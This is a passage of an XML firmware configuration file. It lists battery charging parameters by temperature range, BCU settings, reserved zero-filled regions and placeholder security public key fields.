<hdr_node name="B3T1PR (Temp Range 1 Pack Resistance)" byte_cnt="1" offset="03DD"> <data>00</data> </hdr_node> <hdr_node name="B3T1FCV lower(Temp Range 1 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="03DE"> <data>64</data> </hdr_node> <hdr_node name="B3T1FCV upper(Temp Range 1 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="03DF"> <data>0F</data> </hdr_node> <hdr_node name="B3T1FCI (Temp Range 1 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="03E0"> <data>0190</data> </hdr_node> <hdr_node name="B3T1MCVSTART lower(Temp Range 1 Maintenance Charge Voltage LT)" byte_cnt="1" offset="03E2"> <data>00</data> </hdr_node> <hdr_node name="B3T1MCVSTART upper(Temp Range 1 Maintenance Charge Voltage LT)" byte_cnt="1" offset="03E3"> <data>00</data> </hdr_node> <hdr_node name="B3T1MCVSTOP (Temp Range 1 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="03E4"> <data>0F64</data> </hdr_node> <hdr_node name="B3T1MCI lower(Temp Range 1 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="03E6"> <data>90</data> </hdr_node> <hdr_node name="B3T1MCI upper(Temp Range 1 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="03E7"> <data>01</data> </hdr_node> <!-- END Battery #3 Temp Range 1 data --> <hdr_node name="B3T1LL (Temp Range 1 LL - Degrees C Lower Bound -10C)" byte_cnt="2" offset="03E8"> <data>800A</data> </hdr_node> <!-- END Battery #3 Header data --> <!-- END Battery #3 data--> <!-- BEGIN Battery #4 data--> <!-- BEGIN Battery #4 Header data --> <hdr_node name="B4IDMIN (Battery #4 ID-MIN ADC Value)" byte_cnt="2" offset="03EA"> <data>0000</data> </hdr_node> <hdr_node name="B4IDMAX - (Battery #4 ID-MAX ADC Value)" byte_cnt="2" offset="03EC"> <data>0000</data> </hdr_node> <hdr_node name="B4TYPE (Battery #4 Type)" byte_cnt="1" offset="03EE"> <data>02</data> </hdr_node> <hdr_node name="B4CAP (Battery #4 Capacity (mAH))" byte_cnt="2" offset="03EF"> <data>05DC</data> </hdr_node> <hdr_node name="B4VMAX lower(Battery #4 Max Voltage (mV))" byte_cnt="1" offset="03F1"> <data>68</data> </hdr_node> <hdr_node name="B4VMAX upper(Battery #4 Max Voltage (mV))" byte_cnt="1" offset="03F2"> <data>10</data> </hdr_node> <hdr_node name="B4LOWBATTLS (Battery #4 Low Setting-LOWBATTDET)" byte_cnt="1" offset="03F3"> <data>C7</data> </hdr_node> <hdr_node name="B4SAFE (Battery #4 Safe Voltage/Current Limit-CHRSAFELMT)" byte_cnt="1" offset="03F4"> <data>40</data> </hdr_node> <!-- END Battery #4 Header data --> <!-- BEGIN Battery #4 Temp Range 4 data --> <hdr_node name="B4T4UL (Temp Range 4 UL - Degrees C Upper Bound +60C)" byte_cnt="2" offset="03F5"> <data>003C</data> </hdr_node> <hdr_node name="B4T4PR (Temp Range 4 Pack Resistance)" byte_cnt="1" offset="03F7"> <data>00</data> </hdr_node> <hdr_node name="B4T4FCV lower(Temp Range 4 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="03F8"> <data>04</data> </hdr_node> <hdr_node name="B4T4FCV upper(Temp Range 4 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="03F9"> <data>10</data> </hdr_node> <hdr_node name="B4T4FCI (Temp Range 4 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="03FA"> <data>03B6</data> </hdr_node> <hdr_node name="B4T4MCVSTART lower(Temp Range 4 Maintenance Charge Voltage LT)" byte_cnt="1" offset="03FC"> <data>00</data> </hdr_node> <hdr_node name="B4T4MCVSTART upper(Temp Range 4 Maintenance Charge Voltage LT)" byte_cnt="1" offset="03FD"> <data>00</data> </hdr_node> <hdr_node name="B4T4MCVSTOP (Temp Range 4 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="03FE"> <data>0FC8</data> </hdr_node> <hdr_node name="B4T4MCI lower(Temp Range 4 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0400"> <data>B6</data> </hdr_node> <hdr_node name="B4T4MCI upper(Temp Range 4 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0401"> <data>03</data> </hdr_node> <!-- END Battery #4 Temp Range 4 data --> <!-- BEGIN Battery #4 Temp Range 3 data --> <hdr_node name="B4T3UL (Temp Range 3 UL - Degrees C Upper Bound +45C)" byte_cnt="2" offset="0402"> <data>002D</data> </hdr_node> <hdr_node name="B4T3PR (Temp Range 3 Pack Resistance)" byte_cnt="1" offset="0404"> <data>00</data> </hdr_node> <hdr_node name="B4T3FCV lower(Temp Range 3 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0405"> <data>68</data> </hdr_node> <hdr_node name="B4T3FCV upper(Temp Range 3 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0406"> <data>10</data> </hdr_node> <hdr_node name="B4T3FCI (Temp Range 3 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="0407"> <data>03B6</data> </hdr_node> <hdr_node name="B4T3MCVSTART lower(Temp Range 3 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0409"> <data>00</data> </hdr_node> <hdr_node name="B4T3MCVSTART upper(Temp Range 3 Maintenance Charge Voltage LT)" byte_cnt="1" offset="040A"> <data>00</data> </hdr_node> <hdr_node name="B4T3MCVSTOP (Temp Range 3 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="040B"> <data>102C</data> </hdr_node> <hdr_node name="B4T3MCI lower(Temp Range 3 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="040D"> <data>B6</data> </hdr_node> <hdr_node name="B4T3MCI upper(Temp Range 3 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="040E"> <data>03</data> </hdr_node> <!-- END Battery #4 Temp Range 3 data --> <!-- BEGIN Battery #4 Temp Range 2 data --> <hdr_node name="B4T2UL (Temp Range 2 UL - Degrees C Upper Bound +10C)" byte_cnt="2" offset="040F"> <data>000A</data> </hdr_node> <hdr_node name="B4T2PR (Temp Range 2 Pack Resistance)" byte_cnt="1" offset="0411"> <data>00</data> </hdr_node> <hdr_node name="B4T2FCV lower(Temp Range 2 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0412"> <data>04</data> </hdr_node> <hdr_node name="B4T2FCV upper(Temp Range 2 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0413"> <data>10</data> </hdr_node> <hdr_node name="B4T2FCI (Temp Range 2 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="0414"> <data>03B6</data> </hdr_node> <hdr_node name="B4T2MCVSTART lower(Temp Range 2 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0416"> <data>00</data> </hdr_node> <hdr_node name="B4T2MCVSTART upper(Temp Range 2 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0417"> <data>00</data> </hdr_node> <hdr_node name="B4T2MCVSTOP (Temp Range 2 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="0418"> <data>0FC8</data> </hdr_node> <hdr_node name="B4T2MCI lower(Temp Range 2 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="041A"> <data>B6</data> </hdr_node> <hdr_node name="B4T2MCI upper(Temp Range 2 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="041B"> <data>03</data> </hdr_node> <!-- END Battery #4 Temp Range 2 data --> <!-- BEGIN Battery #4 Temp Range 1 data --> <hdr_node name="B4T1UL (Temp Range 1 UL - Degrees C Upper Bound +0C)" byte_cnt="2" offset="041C"> <data>0000</data> </hdr_node> <hdr_node name="B4T1PR (Temp Range 1 Pack Resistance)" byte_cnt="1" offset="041E"> <data>00</data> </hdr_node> <hdr_node name="B4T1FCV lower(Temp Range 1 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="041F"> <data>64</data> </hdr_node> <hdr_node name="B4T1FCV upper(Temp Range 1 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0420"> <data>0F</data> </hdr_node> <hdr_node name="B4T1FCI (Temp Range 1 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="0421"> <data>0190</data> </hdr_node> <hdr_node name="B4T1MCVSTART lower(Temp Range 1 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0423"> <data>00</data> </hdr_node> <hdr_node name="B4T1MCVSTART upper(Temp Range 1 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0424"> <data>00</data> </hdr_node> <hdr_node name="B4T1MCVSTOP (Temp Range 1 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="0425"> <data>0F64</data> </hdr_node> <hdr_node name="B4T1MCI lower(Temp Range 1 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0427"> <data>90</data> </hdr_node> <hdr_node name="B4T1MCI upper(Temp Range 1 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0428"> <data>01</data> </hdr_node> <!-- END Battery #4 Temp Range 1 data --> <hdr_node name="B4T1LL (Temp Range 1 LL - Degrees C Lower Bound -10C)" byte_cnt="2" offset="0429"> <data>800A</data> </hdr_node> <!-- END Battery #4 Header data --> <!-- END Battery #4 data--> <!-- BEGIN Battery #5 data--> <!-- BEGIN Battery #5 Header data --> <hdr_node name="B5IDMIN (Battery #5 ID-MIN ADC Value)" byte_cnt="2" offset="042B"> <data>0000</data> </hdr_node> <hdr_node name="B5IDMAX (Battery #5 ID-MAX ADC Value)" byte_cnt="2" offset="042D"> <data>0000</data> </hdr_node> <hdr_node name="B5TYPE (Battery #5 Type)" byte_cnt="1" offset="042F"> <data>02</data> </hdr_node> <hdr_node name="B5CAP (Battery #5 Capacity (mAH))" byte_cnt="2" offset="0430"> <data>05DC</data> </hdr_node> <hdr_node name="B5VMAX lower(Battery #5 Max Voltage (mV))" byte_cnt="1" offset="0432"> <data>68</data> </hdr_node> <hdr_node name="B5VMAX upper(Battery #5 Max Voltage (mV))" byte_cnt="1" offset="0433"> <data>10</data> </hdr_node> <hdr_node name="B5LOWBATTLS (Battery #5 Low Setting-LOWBATTDET)" byte_cnt="1" offset="0434"> <data>C7</data> </hdr_node> <hdr_node name="B5SAFE (Battery #5 Safe Voltage/Current Limit-CHRSAFELMT)" byte_cnt="1" offset="0435"> <data>40</data> </hdr_node> <!-- END Battery #5 Header data --> <!-- BEGIN Battery #5 Temp Range 4 data --> <hdr_node name="B5T4UL (Temp Range 4 UL - Degrees C Upper Bound +60C)" byte_cnt="2" offset="0436"> <data>003C</data> </hdr_node> <hdr_node name="B5T4PR (Temp Range 4 Pack Resistance)" byte_cnt="1" offset="0438"> <data>00</data> </hdr_node> <hdr_node name="B5T4FCV lower(Temp Range 4 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0439"> <data>04</data> </hdr_node> <hdr_node name="B5T4FCV upper(Temp Range 4 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="043A"> <data>10</data> </hdr_node> <hdr_node name="B5T4FCI (Temp Range 4 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="043B"> <data>03B6</data> </hdr_node> <hdr_node name="B5T4MCVSTART lower(Temp Range 4 Maintenance Charge Voltage LT)" byte_cnt="1" offset="043D"> <data>00</data> </hdr_node> <hdr_node name="B5T4MCVSTART upper(Temp Range 4 Maintenance Charge Voltage LT)" byte_cnt="1" offset="043E"> <data>00</data> </hdr_node> <hdr_node name="B5T4MCVSTOP (Temp Range 4 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="043F"> <data>0FC8</data> </hdr_node> <hdr_node name="B5T4MCI lower(Temp Range 4 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0441"> <data>B6</data> </hdr_node> <hdr_node name="B5T4MCI upper(Temp Range 4 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0442"> <data>03</data> </hdr_node> <!-- END Battery #5 Temp Range 4 data --> <!-- BEGIN Battery #5 Temp Range 3 data --> <hdr_node name="B5T3UL (Temp Range 3 UL - Degrees C Upper Bound +45C)" byte_cnt="2" offset="0443"> <data>002D</data> </hdr_node> <hdr_node name="B5T3PR (Temp Range 3 Pack Resistance)" byte_cnt="1" offset="0445"> <data>00</data> </hdr_node> <hdr_node name="B5T3FCV lower(Temp Range 3 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0446"> <data>68</data> </hdr_node> <hdr_node name="B5T3FCV upper(Temp Range 3 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0447"> <data>10</data> </hdr_node> <hdr_node name="B5T3FCI (Temp Range 3 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="0448"> <data>03B6</data> </hdr_node> <hdr_node name="B5T3MCVSTART lower(Temp Range 3 Maintenance Charge Voltage LT)" byte_cnt="1" offset="044A"> <data>00</data> </hdr_node> <hdr_node name="B5T3MCVSTART upper(Temp Range 3 Maintenance Charge Voltage LT)" byte_cnt="1" offset="044B"> <data>00</data> </hdr_node> <hdr_node name="B5T3MCVSTOP (Temp Range 3 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="044C"> <data>102C</data> </hdr_node> <hdr_node name="B5T3MCI lower(Temp Range 3 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="044E"> <data>B6</data> </hdr_node> <hdr_node name="B5T3MCI upper(Temp Range 3 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="044F"> <data>03</data> </hdr_node> <!-- END Battery #5 Temp Range 3 data --> <!-- BEGIN Battery #5 Temp Range 2 data --> <hdr_node name="B5T2UL (Temp Range 2 UL - Degrees C Upper Bound +10C)" byte_cnt="2" offset="0450"> <data>000A</data> </hdr_node> <hdr_node name="B5T2PR (Temp Range 2 Pack Resistance)" byte_cnt="1" offset="0452"> <data>00</data> </hdr_node> <hdr_node name="B5T2FCV lower(Temp Range 2 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0453"> <data>04</data> </hdr_node> <hdr_node name="B5T2FCV upper(Temp Range 2 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0454"> <data>10</data> </hdr_node> <hdr_node name="B5T2FCI (Temp Range 2 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="0455"> <data>03B6</data> </hdr_node> <hdr_node name="B5T2MCVSTART lower(Temp Range 2 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0457"> <data>00</data> </hdr_node> <hdr_node name="B5T2MCVSTART lower(Temp Range 2 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0458"> <data>00</data> </hdr_node> <hdr_node name="B5T2MCVSTOP (Temp Range 2 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="0459"> <data>0FC8</data> </hdr_node> <hdr_node name="B5T2MCI lower(Temp Range 2 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="045B"> <data>B6</data> </hdr_node> <hdr_node name="B5T2MCI upper(Temp Range 2 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="045C"> <data>03</data> </hdr_node> <!-- END Battery #5 Temp Range 2 data --> <!-- BEGIN Battery #5 Temp Range 1 data --> <hdr_node name="B5T1UL (Temp Range 1 UL - Degrees C Upper Bound +0C)" byte_cnt="2" offset="045D"> <data>0000</data> </hdr_node> <hdr_node name="B5T1PR (Temp Range 1 Pack Resistance)" byte_cnt="1" offset="045F"> <data>00</data> </hdr_node> <hdr_node name="B5T1FCV lower(Temp Range 1 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0460"> <data>64</data> </hdr_node> <hdr_node name="B5T1FCV upper(Temp Range 1 Fast Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="1" offset="0461"> <data>0F</data> </hdr_node> <hdr_node name="B5T1FCI (Temp Range 1 Fast Charge Current Limit-CHRCCURRENT)" byte_cnt="2" offset="0462"> <data>0190</data> </hdr_node> <hdr_node name="B5T1MCVSTART lower(Temp Range 1 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0464"> <data>00</data> </hdr_node> <hdr_node name="B5T1MCVSTART upper(Temp Range 1 Maintenance Charge Voltage LT)" byte_cnt="1" offset="0465"> <data>00</data> </hdr_node> <hdr_node name="B5T1MCVSTOP (Temp Range 1 Maintenance Charge Voltage UT-CHRCVOLTAGE)" byte_cnt="2" offset="0466"> <data>0F64</data> </hdr_node> <hdr_node name="B5T1MCI lower(Temp Range 1 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0468"> <data>90</data> </hdr_node> <hdr_node name="B5T1MCI upper(Temp Range 1 Maintenance Charge Current Limit-CHRCCURRENT" byte_cnt="1" offset="0469"> <data>01</data> </hdr_node> <!-- END Battery #5 Temp Range 1 data --> <hdr_node name="B5T1LL (Temp Range 1 LL - Degrees C Lower Bound -10C)" byte_cnt="2" offset="046A"> <data>800A</data> </hdr_node> <!-- END Battery #5 data--> <!-- BEGIN BCU #1 data --> <hdr_node name="BCU1BCLIM12" byte_cnt="1" offset="046C"> <data>25</data> </hdr_node> <hdr_node name="BCU1BTIMELIM12" byte_cnt="1" offset="046D"> <data>80</data> </hdr_node> <hdr_node name="BCU1BTIMELIM3" byte_cnt="1" offset="046E"> <data>05</data> </hdr_node> <hdr_node name="BCU1BTIMEDB" byte_cnt="1" offset="046F"> <data>10</data> </hdr_node> <hdr_node name="BCU1BCFGOUTS" byte_cnt="1" offset="0470"> <data>18</data> </hdr_node> <hdr_node name="BCU1BCFGACTS" byte_cnt="1" offset="0471"> <data>4F</data> </hdr_node> <hdr_node name="BCU1CAPACITYTHRES" byte_cnt="1" offset="0472"> <data>14</data> </hdr_node> <!-- END BCU #1 data --> <!-- BEGIN BCU #2 data --> <hdr_node name="BCU2BCLIM12" byte_cnt="1" offset="0473"> <data>23</data> </hdr_node> <hdr_node name="BCU2BTIMELIM12" byte_cnt="1" offset="0474"> <data>50</data> </hdr_node> <hdr_node name="BCU2BTIMELIM3" byte_cnt="1" offset="0475"> <data>04</data> </hdr_node> <hdr_node name="BCU2BTIMEDB" byte_cnt="1" offset="0476"> <data>00</data> </hdr_node> <hdr_node name="BCU2BCFGOUTS" byte_cnt="1" offset="0477"> <data>1F</data> </hdr_node> <hdr_node name="BCU2BCFGACTS" byte_cnt="1" offset="0478"> <data>4F</data> </hdr_node> <hdr_node name="BCU2CAPACITYTHRES" byte_cnt="1" offset="0479"> <data>05</data> </hdr_node> <!-- END BCU #2 data --> <!-- BEGIN BCU #3 data --> <hdr_node name="BCU3BCLIM12" byte_cnt="1" offset="047A"> <data>12</data> </hdr_node> <hdr_node name="BCU3BTIMELIM12" byte_cnt="1" offset="047B"> <data>00</data> </hdr_node> <hdr_node name="BCU3BTIMELIM3" byte_cnt="1" offset="047C"> <data>01</data> </hdr_node> <hdr_node name="BCU3BTIMEDB" byte_cnt="1" offset="047D"> <data>00</data> </hdr_node> <hdr_node name="BCU3BCFGOUTS" byte_cnt="1" offset="047E"> <data>1F</data> </hdr_node> <hdr_node name="BCU3BCFGACTS" byte_cnt="1" offset="047F"> <data>7F</data> </hdr_node> <!-- END BCU #3 data --> <!-- BEGIN SBCT - Reserved --> <hdr_node name="SBCT Reserved 0x0480" byte_cnt="20" offset="0480"> <data>0000000000000000000000000000000000000000</data> </hdr_node> <!-- END SBCT - Reserved --> <!-- END SBCT - Supportted Battery Characteristics Table--> <!-- BEGIN Reserved --> <hdr_node name="Intel Reserved 0x0494" byte_cnt="876" offset="0494"> <data>000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <!-- END Reserved --> <!-- BEGIN Security Keys--> <hdr_node name="Security Public Key 0" byte_cnt="256" offset="0800"> <data>FEEDFACE000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FACEFEEDFEEDFACE000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FACEFEED</data> </hdr_node> <hdr_node name="Security Public Key 1" byte_cnt="256" offset="0900"> <data>FEEDFACE000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FACEFEEDFEEDFACE000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FACEFEED</data> </hdr_node> <hdr_node name="Security Public Key 2" byte_cnt="256" offset="0A00"> <data>FEEDFACE000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FACEFEEDFEEDFACE000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FACEFEED</data> </hdr_node> <hdr_node name="Security Public Key 3" byte_cnt="256" offset="0B00"> <data>FEEDFACE000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FACEFEEDFEEDFACE000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FACEFEED</data> </hdr_node> <hdr_node name="Security Public Key 4" byte_cnt="256" offset="0C00"> <data>FEEDFACE000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FACEFEEDFEEDFACE000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FACEFEED</data> </hdr_node> <!-- END Security Keys--> <!-- BEGIN Reserved--> <hdr_node name="Reserved 0xD00" byte_cnt="12288" offset="0D00"> <data>0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000